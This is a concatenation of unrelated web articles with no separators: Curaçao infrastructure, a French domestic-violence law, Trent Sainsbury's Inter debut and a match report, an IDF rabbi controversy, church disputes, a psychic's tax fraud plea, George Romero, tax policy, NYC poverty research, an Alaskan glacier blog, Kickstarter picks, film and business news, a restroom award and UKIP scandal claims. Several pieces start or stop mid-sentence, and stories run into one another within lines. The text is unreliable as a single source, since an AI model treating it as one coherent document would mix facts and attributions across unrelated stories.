Curaçao participated in the 2013 CARIFTA Games. Kevin Philbert stood third in the under-20 male Long Jump with a distance of 7.36 metres (24.15 feet). Vanessa Philbert stood second the under-17 female 1,500 metres (4,900 feet) with a time of 4:47.97.[83][84][85][86]
Infrastructure [ edit ]
Airport [ edit ]
Curaçao International Airport (also called Hato International Airport) is located on the northern coast of the island and offers connections to the Caribbean region, South America, North America and Europe. Curaçao Airport is a fairly large facility, with the third longest commercial runway in the Caribbean region after Rafael Hernández Airport in Puerto Rico and Pointe-à-Pitre International Airport in Guadeloupe. The airport serves as a main base for Insel Air, the national airline of Curaçao.
Bridges [ edit ]
Smith brug over the Waaigat
Kon. Wilhelmina brug over the Waaigat
Prinses Amalia brug over the Waaigat
The Queen Emma Bridge, a 168 metres (551 ft) long pontoon bridge, connects pedestrians between the Punda and Otrobanda districts.[87] This swings open to allow the passage of ships to and from the port.[88] The bridge was originally opened in 1888 and the current bridge was installed in 1939.[89] It is best known and, more often than not, referred to by the locals as "Our Swinging Old Lady".[90]
The Queen Juliana Bridge connects mobile traffic between the same two districts. At 185 feet (56 m) above the sea, it is one of the highest bridges in the Caribbean.[88]
Utilities and sanitation [ edit ]
Aqualectra, a government-owned company[91] and full member of CARILEC, delivers potable water and electricity to the island. Rates are controlled by the government. Water is produced by reverse osmosis or desalinization.[92] It services 69,000 households and companies using 130,000 water and electric meters.[92] The power generation company NuCuraçao opened wind farms in Tera Kora and Playa Kanoa in 2012, and expanded in Tera Kora in 2015.[93] There is no natural gas distribution grid; gas is supplied to homes by pressurized containers.[94]
Curbside trash pickup is provided by the company Selikor. There is |
.”
The law “is paved with good intentions, but we are extremely doubtful about it,” he said. “It relies on the central idea that a woman who files a complaint tells the truth, so it relies on a presumption of guilt, while French law is based on a presumption of innocence.”
Asked on French radio if psychological violence would be hard to prove, Nadine Morano, the secretary of state for the family, argued that “it wouldn’t be hard to prove, because there are, often, many proofs — I think about text messages on cellphones, letters, insults, testimonies. I think about psychological despair.” On a special telephone hot line for female victims, she said, 84 percent of the calls involved psychological abuse.
Ms. Bousquet and Mr. Geoffroy cite an increase in violence against women, saying that a woman dies every 2.2 days in France because of domestic violence. Domestic violence, they said, affects 10 percent of women ages 18 to 60, and about 1.5 million women are victims of violence from their partners.
The law would allow a woman to get a temporary protection order to evict a violent partner or husband, or find another place to live. Another element, imported from Spain and inserted into the law last week by the Justice Ministry, foresees an electronic bracelet with a GPS unit worn by the violent partners, so their movements can be tracked by the police.
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The French Senate is examining a similar law, with the intention of reaching a single text, which is expected to receive final passage this summer.The Perth-born defender came on in the 71st minute, replacing Davide Santon, with Inter leading 4-0 at the time, Sainsbury then went on to receive a deserved yellow card for a tackle on Matos.
Sainsbury had featured in almost every match day squad, but this was his first time taste of game time since joining Inter on loan from Chinese club Jiangsu Suning at the end of January.
The 25-year-old became the first Australian to play for the 109-year-old club.
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"Being able to play a game with Inter is an honour and I'm glad I did it here at San Siro," Sainsbury said.
"It was important to get into the match. This team is rich in talent and it was not easy to carve a space.
"On field and off-field, I was surrounded by great professionals and every day you learn something."
Fellow Australian Zeljko Kalac played for cross-town rivals AC Milan, while Mark Bresciano, Vince Grella and current A-League coaches Paul Okon (Central Coast) and John Aloisi (Brisbane Roar) spent part of their careers in Italy.
Ivan Perisic starred in what could have been his final Inter appearance.
Inter director Piero Ausilio has confirmed Manchester United's interest in signing Croatia international Perisic and he rounded off the campaign in style with a goal and two assists.
Udinese were unable to cope with Perisic's speed and trickery, with Eder scoring twice and Marcelo Brozovic also getting his name on the scoresheet to ensure Inter finished seventh.
Eder struck early to get Inter up and running, turning home Davide Santon's cross, before the striker set up Perisic for the hosts' second.
Perisic - also reportedly a target for Premier League champions Chelsea - added assists for Brozovic and Eder as Inter waved goodbye to striker Rodrigo Palacio and goalkeeper Juan Pablo Carrizo, who are both set to leave the club.
Andrija Balic picked out the top corner from 20 yards to score his first Serie A goal with 15 minutes and Duvan Zapata tapped home late on but they were mere consolations for Udinese, who had earlier seen Gabriele Angella turn into his own net as Inter finished on a high.
Inter took the lead in the fifth minute after raiding down the left wing, Eder scoring his seventh goal against Udinese with a first-time finish.
Brozovic played the ball out wide for Santon and the full-back created the chance with an incisive burst down the flank, Udinese leaving Italy international Eder unmarked in the box to beat Simone Scuffet.
Angella should have equalised when he sent a free header from a corner wide before Duvan Zapata sent a snapshot at Juan Pablo Carrizo on the Inter goalkeeper's final appearance for the club.
Zapata then pulled an effort wide and his missed opportunities proved costly as Inter doubled their lead after 18 minutes.
Eder was the provider this time as Thomas Heurtaux surrendered possession in his own half, the striker providing a low cross for Perisic to slide home an easy finish at the back post.
Inter extended their lead after 36 minutes, Perisic robbing Silvan Widmer and pulling the ball back for his fellow Croatian Brozovic to slam home a low finish across goalkeeper Scuffet.
The last four meetings between the sides had seen Inter win and they continued to dominate after the break, Eder adding his second goal of the game after 54 minutes.
Perisic bamboozled Angella with superb skill and crossed for Eder to tap in from close range.
Inter's caretaker coach Stefano Vecchi brought on Palacio from the bench for his farewell appearance and the Argentine striker hit the post within moments of his introduction for Perisic - who applauded all four sides of the ground on his way off.
Vecchi handed a debut to Australia international Trent Sainsbury as Inter eased off in the second half and his side's lack of intensity told as Udinese struck through reported Juventus target Balic.
That woke Inter up, however, and they soon scored again, Angella inadvertently turning Geoffrey Kondogbia's cross into his own goal.
Zapata finally struck in injury-time to complete the scoring, tapping in at the back post, but Inter end the season with back-to-back league wins.The nomination of Colonel Eyal Karim on Monday for Israel Defense Forces' next chief rabbi has sparked outrage amongst Israeli female politicians and women's rights groups, who point to Karim's history of misogynistic interpretations of Judaism, which include legitimizing the rape of non-Jewish women and girls.
The rabbi's 2003 response to a question as to whether it was permitted for IDF soldiers to rape girls is one of his more controversial comments.
"Although fraternizing with a non-Jewess is a very bad thing, it is allowable in war out of consideration for the difficulties of the fighters," Karim said, according to Haaretz. "And because the success of the collective is what mostly concerns us in war, the Torah allows the individual to satisfy his lust in the permitted conditions for the sake of the general success."
Karim has since said his comments were taken out of context; the IDF has echoed this sentiment.
Ilia Yefimovich/Getty Images Israeli soldiers during training
"Colonel Karim wishes to emphasize the fact that the comment made by him was purely in response to an interpretive question, and in no way whatsoever in response to a practical religious question," an IDF spokesman said, the Telegraph reported.
"Rabbi Karim has never written, said or even thought that an IDF soldier may, under any circumstances, sexually harm women, even in times of war — the person interpreting what was said was not only wrong but also misleading," the spokesman added.
However, Karim's controversy extends well beyond his hypothetical views on rape. He has also said women should not be allowed to serve in the military and been associated with comments stating the Torah dictates non-Jews should have less rights than Jews.
In 2013, Karim was leading a military rabbinate which published material outlining such an argument. "The concept that non-Jews have equal rights with Jews in Israel goes against the opinion of the Torah, and the state's representatives have no authority to act against the Torah's will," the booklet said, according to the Guardian.IMAGINE the situation of a Catholic woman who enters a long-term union with a man who has been abandoned by his wife. The devout lady raises the man’s children and bears him another child. Even if she so desired, it is clear that she cannot leave her current relationship without doing harm to her child and stepchildren. Although that conscientious mother is technically an adulteress in the eyes of the church, she not only could but positively should be offered access to holy communion, which is Christianity’s most sacred rite, according to a senior cardinal whose job is to interpret church law.
For Vatican-watchers, this statement by Cardinal Francesco Coccopalmerio, contained in a 30-page booklet which was published this week with clear papal approval, was proof positive of “civil war” raging in the upper echelons of the Catholic church. (Things aren’t much more peaceful, it might be added, in any of the traditional or episcopal Christian confessions where bishops are supposed to set and enforce a common line.) Faced with the cardinal’s apparently humane reflections, conservative Catholic commentators reacted with horror; many called it a scandalous defiance of the position laid down by the late Pope John Paul II, whom the church regards as a saint. According to the Polish pontiff, people who divorce and remarry in a civil ceremony (but remain wedded to their first spouses in the church’s view) can only take communion on one condition: that their new marriages are completely devoid of sex.
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Civil war or not, it is no secret that Pope Francis is under open challenge from conservatives, led by America’s Cardinal Raymond Burke, or that the relatively liberal camp around the current pontiff is holding its ground. The immediate bone of contention is a papal document or “exhortation” issued nearly a year ago which appeared, albeit in very oblique language, to open the way for communion to be offered to people in what the church calls irregular unions. Germany’s Catholic bishops have clearly supported the liberal position, while the Vatican’s most senior German, Cardinal Gerhard Müller, is firmly of the opposite view. At the end of January he issued a strong reprimand to anyone who interpreted the new teaching as offering communion to the “adulterous”.
In other signs of rising contention, posters attacking the pope appeared on walls in the centre of Rome on February 4th; and on February 13th, a group of senior prelates who are advising the pope on reforming the Vatican administration issued a statement of unconditional backing. “In relation to recent events, the council of cardinals offers its full support of the work of the pope,” they declared.
Bitterly contested as they are, the issues at stake in this inter-Catholic debate seem rather tame when compared with those considered this week by the ruling synod of the Church of England, where Archbishop Justin Welby suffered a galling setback in his efforts to hold the ring between liberals and conservatives. In the Anglican case, the issue at stake was the church’s attitude to same-sex unions.
The synod effectively threw out a conservative-leaning report by the church’s bishops. Based on three years of “listening” to views on the issue, it affirmed the traditional teaching that marriage was between a man and a woman, while also urging a culture of welcome and support for gay peple and “maximum freedom” in the treatment of same-sex couples. A motion “taking note” of the report needed to win support in separate votes of bishops, laity and clergy, and it was rejected by the latter, by 100 votes to 93. Archbishop Welby said England’s national church would simply have to continue its tortuous reflections on the subject, in a way that was “neither careless in...theology nor ignorant of the world around us”. His tireless efforts to avoid a formal split reflect a belief that if that were to happen, the two or more resulting entities (apart from quarreling over a vast historical inheritance) would eventually shrivel up into diminishing, dysfunctional micro-communities.
What the Catholic and Anglican quarrels have in common, of course, is that both reflect a vast and growing disconnect between the traditional teaching of the church and the way people actually live in historically Christian countries. As Giles Fraser, a liberal Anglican cleric, noted, less than one in five Anglicans now believes that same-sex relationships are “always wrong” and an increasing number of clergy have entered same-sex nuptials as English law allows them to do. He believes that ordinary clergy are in touch with social reality, while many bishops, at least in their public statements, are not.
For traditionalists, an appropriate response to society’s free-wheeling state might be to retreat to society’s outer edge, albeit in small numbers, and preach the old-time religion with undiminished integrity to anyone who will listen. But that is very hard for churches whose habit and culture is to stand confidently in the middle of society, sharing power and prestige with its secular elites. When you have dwelt in the emperor’s palace, it is not easy to become a voice crying in the wilderness.BOSTON – A south Florida woman, who purported to be a psychic, pleaded guilty today in federal court in Boston to impeding the Internal Revenue Service by hiding more than $3.5 million of income that she was paid by an elderly Martha’s Vineyard woman.
Sally Ann Johnson, a/k/a Angela Johnson, a/k/a Angelia Johnson, a/k/a Sally Reed, 41, pleaded guilty to attempting to interfere with the administration of the Internal Revenue laws. U.S. District Court Judge Denise J. Casper scheduled sentencing for Jan. 17, 2018.
Johnson owned and operated various businesses, including Flatiron Psychic, Psychic Match, Inc., and Psychic Spiritual Salon, Inc., all of which purported to offer “psychic readings,” “spiritual cleansing & strengthening,” and “meditation & healing.” From 2007 to 2014, Johnson was paid over $3.5 million by an elderly woman living on Martha’s Vineyard to purportedly perform spiritual cleansing and healing services to rid the woman of demons through repeated exorcisms. Rather than reporting her income to the IRS and paying taxes on it, Johnson took steps to conceal it. Specifically, Johnson used an alias and directed the woman to send payments to at least three different bank accounts with which Johnson was associated, including an account in another person’s name. Johnson then withdrew large portions of the woman’s payments from the accounts in cash. In addition, Johnson accrued substantial charges on a credit card held in the name of the elderly woman, who ultimately paid the credit card bills, thereby concealing from the IRS the true extent of Johnson’s income. Neither Johnson nor any of the businesses she operated filed a tax return or paid taxes on the income she received from the woman.
As part of a plea agreement with the government, Johnson agreed to repay $3,567,300 to the Martha’s Vineyard woman and to pay restitution to the IRS for the taxes she avoided from 2007 to 2014.
The charging statute provides for a sentence of no greater than three years in prison, one year of supervised release, a fine of up to $250,000, or twice the gross gain or loss caused by the offense, and restitution. Sentences are imposed by a federal district court judge based on the U.S. Sentencing Guidelines and other statutory factors.
Acting United States Attorney William D. Weinreb; Harold H. Shaw, Special Agent in Charge of the Federal Bureau of Investigation, Boston Field Division; and Joel P. Garland, Special Agent in Charge of the Internal Revenue Service’s Criminal Investigation in Boston, made the announcement today. The Chilmark Police Department provided assistance with the investigation. Assistant U.S. Attorneys Sandra S. Bower and Brian A. Pérez-Daple of Weinreb’s Criminal Division are prosecuting the case.Share. Style is taking over substance. Style is taking over substance.
Night of the Living Dead filmmaker George Romero has come forward to discuss his struggles in getting financing for a new zombie film, saying he can no longer make one of "substance," thanks in large part to AMC's hit series The Walking Dead.
In an interview with IndieWire, Romero noted that Land of the Dead, which is the biggest zombie movie he's ever made, didn't need such a large budget.
"That money went largely to the cast. They were great, but I don’t think that money needed to be spent," he said, adding that "Dennis Hopper’s cigar budget cost more than the entire production of Night of the Living Dead."
Exit Theatre Mode
Romero then went on to cite the success of both The Walking Dead and World War Z as a major reason why he can no longer pitch "sociopolitical" zombie films with a modest budget. "I used to be able to pitch them on the basis of the zombie action, and I could hide the message inside that. Now, you can't," he said. "The moment you mention the word 'zombie,' it’s got to be, 'Hey, Brad Pitt paid $400 million to do that.'"
A sequel to Survival of the Dead was in the works and Romero said he was ready to shoot the film, but then he was "blind-sighted" by the success of Diary of the Dead. "One of the producers said, 'Let’s make another one quick.' I didn’t know what else I could talk about. Diary of the Dead talked about how social media is haunting us today. I didn’t have anything else to talk about," he explained.
In the end, he took the original premise and presented it in the style of a western, which wasn't received well. "Then, all of a sudden, here came The Walking Dead," he added, concluding that he simply could no longer make "a zombie film that had any sort of substance," because "it had to be a zombie film with just zombies wreaking havoc," which Romero says, "is not what I'm about."
Back in 2013, Romero turned down an offer to direct episodes of The Walking Dead, claiming it was was more of a "soap opera" than a zombie television show.
Alex Osborn is a freelance writer for IGN. You can follow him on Twitter and subscribe to his video content on YouTube.Tax cuts and tax havens: What Brown needs to learn from Obama
09 Nov 2008, by Adam Lent Guest in Economics
I wrote some time ago about the possibility of using tax cuts as a stimulus to the economy during recession and made particular comparisons with the scheme introduced in the States earlier this year. Obama also made economic stimulus through tax cuts a central plank of his campaign and he announced last week that he will be looking to introduce this very quickly.
Taking inspiration from America, the idea featured prominently in the TUC’s General Council Statement on the Economy issued in early September.
Now it appears that the Government is seriously considering introducing major tax cuts to stimulate the UK economy in the Pre-Budget Report (due some time in the next four weeks or so).
Two key points about this:
First, it is important, of course, that any cuts are focused heavily on low to middle earners not just for the sake of fairness but also because they will spend the extra cash rather than save it – a crucial factor if the cuts are to prove effective as a stimulus.
Second, the cuts do not have to be funded entirely (or maybe at all) through borrowing despite what this article and the Tories might be saying. Obama himself has made this clear. The President-elect aims to move very quickly to close down tax havens and introduce greater fairness into the tax system to generate the money required to offer the cuts. This is exactly the course of action Gordon Brown should also take.
Indeed, Obama’s willingness to move against tax havens offers Brown just the opportunity to build the sort of international co-operation that is necessary to take on the havens and repatriate lots of hidden cash. Brown’s endorsement would also help Obama as well: some of the world’s most notorious tax havens (Cayman, Isle of Man, Jersey, Guernsey) have very close economic and political ties to the UK. If the UK turned against the havens, they will have lost one of their closest allies.
The vague rhetoric is already there. Brown has written in an article today stating that he is:
looking forward to co-operating with the President-elect in building a new global society in which the advancement of people – their homes, jobs, savings and pensions – is always put first.
But there was also a sign of something possibly more practical when the Chancellor unexpectedly made clear his antagonism towards the Isle of Man’s tax haven activities last week at a Treasury Select Committee hearing.
Maybe tax justice is slowly beginning to make political and economic sense to our leaders.Finding A More Nuanced View Of Poverty's 'Black Hole'
Ask Anne Valdez what poverty means for her, and her answer will describe much more than a simple lack of money.
"It's like being stuck in a black hole," says Valdez, 47, who is unemployed and trying to raise a teenage son in Coney Island, New York City. "Poverty is like literally being held back from enjoying life, almost to the point of not being able to breathe."
For years, researchers have complained that the way the government measures income and poverty is severely flawed, that it provides an incomplete — and even distorted — view.
Now researchers from Columbia University and the Robin Hood Foundation, an anti-poverty group, are trying to get a more nuanced picture of what it means to be poor and struggling. They're following 2,300 New York City families over two years, asking detailed questions about their finances, their hardships and their responses.
Michael Weinstein of the Robin Hood Foundation says one thing they're trying to learn is which programs work and which ones don't.
"So, we see that you were unemployed in January of last year. What did you do about it?" Weinstein says they ask families. "Did you seek job training? If you sought job training, did you learn a skill? Were you able to translate that skill into a job? Were you able to keep that job? Those are kinds of questions that have to do with how things evolve over time."
It's also the kind of information many current surveys don't provide. The researchers aren't just asking families about their incomes, but about whether they've faced what researchers call material hardship. Did they have trouble paying their rent? Did they lose their home or apartment? Did they run out of money for food, or put off going to the doctor?
"These are severe problems, and what's startling about the results of this survey is the percentage of families who suffer those problems, even though they are not technically poor," Weinstein says.
In fact, an initial report out Tuesday finds that 37 percent of New Yorkers faced a severe material hardship over the past year, even though the city's official poverty rate is 21 percent. Even more striking is that many people with incomes well above the poverty line also face such hardships.
Chris Wimer, a research scientist at the Columbia University Population Research Center, says there are many possible explanations.
"Mental health issues," Wimer says, "[or] it could be excessive debt. So if a large portion of people's income is being used to service past medical debts, credit card debts, student loans, things like that, that may leave less room in the budget, ultimately."
Another thing they're asking is whether people have enough money set aside for an emergency, like a broken-down car. Wimer hopes the findings will help inform the national debate over how best to help the poor.
Scott Winship, a fellow at the conservative-leaning Manhattan Institute, thinks it might. He says the problem of poverty is far more complex than it's often portrayed.
"The full test of how adequate our anti-poverty policy is can't simply be, have we moved people above a line?" he says. "Or by cutting this program or that program, are we moving more people below the line?"Retreating Alaskan Glacier Reveals Remains Of Medieval Forest
By Paul Homewood
h/t agfosterjr
The Exit Glacier, Alaska
Reader agfosterjr sent me a link about the Exit Glacier, in southern Alaska, pointing out, as the glacier retreats, it is uncovering remains of a medieval forest, as this report from the National Park Office makes clear:-
The Little Ice Age (LIA) was a time of global cooling from approximately 1350 to 1870 AD. During this time glaciers expanded in the northern regions, moving down the mountains and scouring the vegetation that had been in the valleys below. Park Service personnel recently discovered evidence of a buried forest dating back to at least 1170 AD high in the Forelands near the current glacier’s edge.
http://www.nps.gov/kefj/naturescience/upload/The%20Retreat%20of%20Exit%20Glacier.pdf
This report, of course, tallies with studies of other Alaskan glaciers, which have also found similar tree remains. What I found equally intriguing though was this table, that was included in the report, showing how the rate of retreat has changed since the 19thC.
http://www.nps.gov/kefj/naturescience/upload/The%20Retreat%20of%20Exit%20Glacier.pdf
The retreat began slowly after 1815, but really accelerated after 1889. The fastest rate was 1914-17, but since then the glacier has been retreating much more slowly.
I was puzzled though by the fact that the table finished in 1973, confused further by the fact that the bottom line mentions 1815-1999. The total retreat of 6549 ft for that whole period is the sum of the individual periods, so I wondered whether the retreat had stopped altogether since 1973.
[The National Park report is based on research undertaken in 2001, so logically the figures up to 1999 should be correct]
So I did some more research and found this study by Katie Baumann, based on National Park mapping.
http://www.calvin.edu/admin/provost/sustainability/initiatives/ceap/academics/courses/GGES/222/posters/Baumann_Katie.pdf
[There may be a problem with this link]
Let’s home in on the right hand map. The retreat from 1950 to 1973 is very clear, but since then there has been no significant change. Indeed the current glacier extent seems to be greater than in 1985. As the footnote says, the last 35 years have seen a mixture of advance and retreat.
This of course is only one glacier, and I certainly would not suggest that it is representative of all glaciers in Alaska. But it is clear that the Exit Glacier began retreating at the end of the LIA, retreated at a much faster pace between 1889 and 1917 than anything seen since, and stopped retreating 40 years ago.
AdvertisementsTen cool Kickstarters (that need much less than $2M)
Allow me to make a radical proposal today: Stop donating to the Veronica Mars movie.
This poster is one of the incentives to donate to the Yee-Haw Industries Kickstarter. (Photo: Kickstarter)
Don't get me wrong, I was a huge fan of the show and am thrilled that fans made such a bold statement yesterday by setting a Kickstarter record. But now that the flick is definitely happening and can probably acquire extra funds elsewhere, I think we should take a moment to consider the hundreds of indie artists who are asking for much less than $2 million — and could potentially create something we love just as much as Mars.
As much as I'd enjoy seeing, say, a Party Down movie or a Freaks and Geeks revival, it would be a shame if Kickstarter's most popular projects were all big-budget ideas with studio ties. So if you have a few extra bucks in your pocket, consider donating to the little guy/gal with big dreams and a tiny bank account!
A few recommendations:
1. Yee-Haw Industries/Church of Type. I'm a huge fan of Kevin Bradley's printing company, which used to be based in my beloved city of Knoxville, Tenn. He's trying to relocate to California — and he's rebranding Yee-Haw as "Church of Type" — but needs a little cash to make it happen. Incentives to donate include beautiful letterpress posters with images of Buck Owens, Tammy Wynette, Evel Knievel and others. I'm proud to say I'm a backer!
2. The Playlist anthology. This 200-page comics anthology features artists illustrating their favorite song lyrics. They need to raise about $900 more in the next three days, so please help 'em out.
3. Blood & Banjos. How can I not support this intriguing music project, which proposes an album of "blackgrass," or bluegrass tunes infused with heavy metal? You can preview the tunes on their page; they still need about $6,000 to make it.
4. "Visualizing Pi." This Kickstarter is perfect for Pi Day! Give a few bucks, and you'll help kids in Brooklyn (and their math teacher) create a Pi-themed mural. Pledge $150, and the kids will have a pizza party in your honor (to which, of course, you're also invited).
5. "My Dream of Jeannie." Artist Katy Kincade wants to recreate the genie's bottle set from I Dream of Jeannie and use it as the backdrop for an art installation. She only needs about $100 more to make this happen, and I'm eager to see the result.
6. World Fair. Filmmaker Amanda Murray wants to make a documentary about the 1939 World's Fair, which was held in New York. She already has some fascinating footage, which you can see on the project's page.
7. "Literary Lots." Urban planner Kauser Razvi has a genius idea to transform spaces in Cleveland into kids' play areas — and to make them look like classic storybooks. She only needs about $300 more, so let's help her get there and start building.
8. Momma Love. Ali Smith's publishing deal for this mother-themed anthology fell through, so now she's on Kickstarter. She has support from heavy hitters like Gloria Steinem and actress Amy Ryan, but she still needs more than $30,000 before she can self-publish.
9. Rubble Kings. Shan Nicholson's documentary examines '70s gang culture in New York and how it contributed to the creation of hip-hop. It has less than a week to raise almost half of its $50,000 goal.
10. "Snowballs: Cooling Underwear for Conceiving Men." The title kind of says it all, doesn't it?
Read or Share this story: http://usat.ly/ZKBUalGary Oldman is starring in the independent supernatural thriller “Mary” with Tucker Tooley Entertainment and Entertainment One producing and co-financing.
Shooting will begin later this month in Alabama with Michael Goi directing from Anthony Jaswinski’s screenplay. The story focuses on a family that buys an old ship at auction and discovers the ship’s secrets once they are out on the isolated open waters.
Tucker Tooley, Scott Lambert, Alexandra Milchan, and Scott Lumpkin are producing. Greg Renker and Jason Barhydt will executive produce with Douglas Urbanski, Oldman’s longtime producing partner.
Oldman will be seen next as Winston Churchill in Focus Features’ “Darkest Hour,” directed by Joe Wright. The World War II drama premiered at the Telluride Film Festival on Sept. 1 and generated awards season buzz. It opens in the U.S. on Nov. 22.
Oldman received an Academy Award nomination for the 2011 adaptation of “Tinker Tailor Soldier Spy.” He starred in “The Hitman’s Bodyguard” as a terrorist along with Christopher Nolan’s Batman trilogy, the Harry Potter series, and “Dawn of the Planet of the Apes.”
Goi has credits on “American Horror Story.” Jaswinski wrote 2016’s shark thriller “The Shallows,” starring Blake Lively.
Oldman is repped by APA and attorney Nigel Pearson of Loeb & Loeb.Game play is pretty solid except there's no option to mute the background singing completely due to it being the actual music videos with the original singers playing. There are 37 songs from the start, and you can download free demos of songs. In addition, there's a SingStore where you can buy more songs, either from Song Packs which are groups of 5 or so songs of a particular artist or group for ~$7.45, or you can get individual songs for $1.29 I think. They have a lot of songs, but doing the math, to get every song would cost over $700 in micro transactions (there are over 720 individual songs you can purchase). It's also nice that you can adjust the latency value to help with any delays. Being $19.99 (and $15.99 with GCU), I say you get a fair number of songs. For it to be a $60 game, you can essentially purchase any additional songs that would increase your song list and they're more likely to be songs you want vs songs that you're forced to have. There's also a Challenges mode where you can accept challenges to try and beat other people online. Overall, great game for the price.
Read moreAMD
Advanced Micro Devices announced the resignation today of Chief Financial Officer Thomas Seifert, sending the company's stock down 8 percent.
Seifert, who had been with the chipmaker for three years, had briefly served as the company's interim chief executive officer last year after the resignation of CEO Dirk Meyer in January 2011. Seifert returned to his position as CFO in August 2011 when AMD named Rory Read, the former president and chief operating officer of the Lenovo Group, as its new CEO.
Other than the standard statement that Seifert was leaving "to pursue other opportunities," AMD revealed little but sought to reassure investors that his departure was not based on any financial turmoil at the world's second-largest supplier of PC processors.
"Seifert's departure is not based on any disagreement over the company's accounting principles or practices, or financial statement disclosures," the company said in a statement.
Growing demand for smartphones and tablets has created a slump in consumer demand for PCs, putting a crimp in PC-related companies' profitability. Sunnyvale, Calif.-based AMD announced in July a 10 percent decline in second-quarter revenue, and Read issued a sector warning, saying that AMD "believe[s] the PC industry may be resetting to a new [lower] baseline."
Devinder Kumar, senior vice president and corporate controller, will serve as interim chief financial officer while the company searches for a replacement.The small town of Minturn prides itself in no longer being just a stop on the way to Beaver Creek, but now the home to the best public restroom in America.
In September, supply company Cintas announced Minturn’s new unique outdoor bathrooms were finalists in the 14th annual America’s Best Restroom Contest. Much like the building of the bathrooms, collecting votes became a community project.
Town planning director Janet Hawkinson, who had a hand in the design and construction of the “functional art” bathrooms, says the town went all out on promotion. They created a Facebook page for voting, mentioned the contest during televised town meetings and everyone who participated in the conceptualization and construction of the restrooms, almost 50 people, campaigned to family and friends.
And it doesn’t stop there.
Printed posters decorated Minturn streets through voting and the unconventional stop even commandeered the popular Minturn Halloween trick-or-treating event where hundreds stop at local businesses to collect candy. Instead of having town hall as a location, treats with cards that said “Vote for Minturn” were handed out in front of the bathrooms during the Oct. 30 event.
Through the grassroots voting effort, the whole experience was “good to get Minturn on the map,” Hawkinson said.
“Usually we’re just little Minturn near Beaver Creek, but we’re trying to build bigger interest. For a town that hasn’t had a lot of change, we can keep moving and not lose what people like about Minturn.”
Holding back chuckles, Hawkison said there has been a great sense of humor and jokes around town about being known for their toilets. The town is just happy that a project that was such a big part of the community had its time to shine.
The two restrooms, one for men and one for women, sit a few feet apart and feature fabricated wood pieces — 320 different pieces total — on the sides where they face each other to mimic an adit, or an entrance to a mine in honor of Minturn’s rich mining history. Inside the bathrooms, walls are painted turquoise and copper and feature steel butterflies on the ceiling. Conception, design and construction were all done locally.
Hawkinson was notified on Nov. 2 that they had won.
“I got off the phone and said, ‘I have very big, serious news.’ We were all very excited, everyone cheered.”
Cintas’ Assistant Marketing Manager Jillian Bauer visited Minturn on Tuesday, Nov. 10 to present Mayor Hawkeye Flaherty with the 2015 award. A crowd of almost 100 people from the Vail Ski and Snowboard Academy and local businesses — some holding their own rolls of toilet paper for the occasion — attended to watch them hang the signage, get pictures taken and more.
“It is great to be recognized as the No. 1 town in the No. 2 business and have the finest public restrooms in the country,” Flaherty said.
In addition to a spot in the America’s Best Restroom Hall of Fame, Minturn also receives a $2,500 credit to spend on Cintas services like restroom cleaning and supplies.
The contest attracted thousands of online votes, and America chose The Music Hall in Portsmouth, N.H. as the runner up, followed by Charleston Distilling in Charleston, S.C. rounding out the top three.
“I think it’s really great that our leaders took a chance on something artistic and different,” Hawkinson said. “It was a risk, it could have failed because it is an art piece. They could have just been safe and bought a concrete bathroom. We can still be Minturn, be different and push the envelope.”Aziz Yıldırım (born 2 November 1952 in Ergani, Diyarbakır Province) was the 36th chairman of the Turkish multi-sport club Fenerbahçe SK.[2] He lost the election held in June 3rd, 2018 to Ali Koç which made him the 37th president of the Turkish club. He served the club as the president from 1998 to 2018. He has a degree in civil engineering.[3]
Club's honours [ edit ]
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statement made on Smith’s behalf by Farage’s official spokesman, Smith said: ‘I wish to issue a wholehearted and unreserved apology to those who I have offended within the party and anyone else.’
Smith also retracted his claim that Nigel Farage had accepted a ‘nice fat envelope’ for promoting Ukip immigration spokesman Steve Woolfe over his rival, Euro MP David Coburn, in the 2012 London Assembly elections.
The Mail on Sunday understands there is no truth in the allegations and that neither Mr Farage nor Mr Woolfe did anything wrong. The false claim was due to a ‘misunderstanding,’ said Smith.
He added: ‘With regards to the leadership and management of the party I was completely wrong and my comments were fuelled by frustrations.’
The homophobic comments by Smith refer to a Ukip gay group called LGBTQ. The ‘Q’ added to the usual LGBT initials stands for ‘Queer/Questioning.’
The disclosure of the tape recording is the latest outbreak of vicious infighting in Ukip.
Smith was sacked as Ukip candidate for Basildon South and East Thurrock earlier this year and right wing former Tory MP Neil Hamilton was a hot favourite to be chosen to replace him last week.
With Ukip support rising fast, the party has high hopes of winning Basildon South.
'IF YOUR HUSBAND IS A CABINET MINISTER AND HAS A FONDNESS FOR TOURING TRAVEL LODGES, YOU'VE GOT REASON TO WORRY': SENSATIONAL CLAIMS OF FORMER UKIP ASSISTANT Alexandra Swann insists affairs and sexual harassment is more commonplace throughout Westminster than thought The sexual harassment of young, female aides by high-powered Wesminster politicians is more rife than ever imagined, one former European Parliament assistant has claimed. In the week that a Ukip candidate alleged she had been sexually harassed by the party's former general secretary, Roger Bird, another of the party's insiders has said incidents such as the woman's claims are 'prevalent'. Alexandra Swann, former Ukip assistant in the European Parliament, has revealed it is an 'open secret' that one Cabinet Minister has indulged in two affairs with junior staff members, while another 'prominent' politician enjoyed an 'insatiable' appetite for later-night phone sex. 'I know from my experience working in Westminster and Brussels for UKIP just how prevalent these incidents are - but in all parties, not just UKIP,' Miss Swann said. 'In Westminster it is an open secret that one senior Cabinet minister has had two affairs with junior staff members over the past few years, right under his wife’s nose. 'Another senior politician – one of the most prominent of the past two decades – had a seemingly insatiable appetite for late-night phone sex when in his office, all conducted while his wife slept a few doors away. 'When that wasn’t enough for him, a "dinner" would be arranged at the London home of a party donor, with him and his mistress as the only guests, and the host not even present. 'Another former Tory cabinet minister maintained a heated relationship with his young special adviser, but only ever behind the locked doors of his hotel room when she was accompanying him on overnight trips. 'She would innocently go inside with papers for him to sign, and simply not emerge until morning. 'If your husband is a cabinet minister and has developed a fondness for touring the country’s Travelodges, you’ve got reason to worry.' Miss Swann added it was a 'depressing yet enduring' element of her job that she felt the need to 'learn who to avoid in lifts and taxis;. 'Female friends used to refer to one Labour shadow cabinet minister as NSIT, meaning ‘not safe in taxis. 'Over the years, his unwanted attentions have grown so voracious, he’s now known as NSA: ‘not safe anywhere’.
Mr Smith was last week announced as the candidate chosen to replace Neil Hamilton (pictured) for the seat of Basildon South in Essex
But in a shock last minute move, Smith, leader of the Labour group was reinstated.
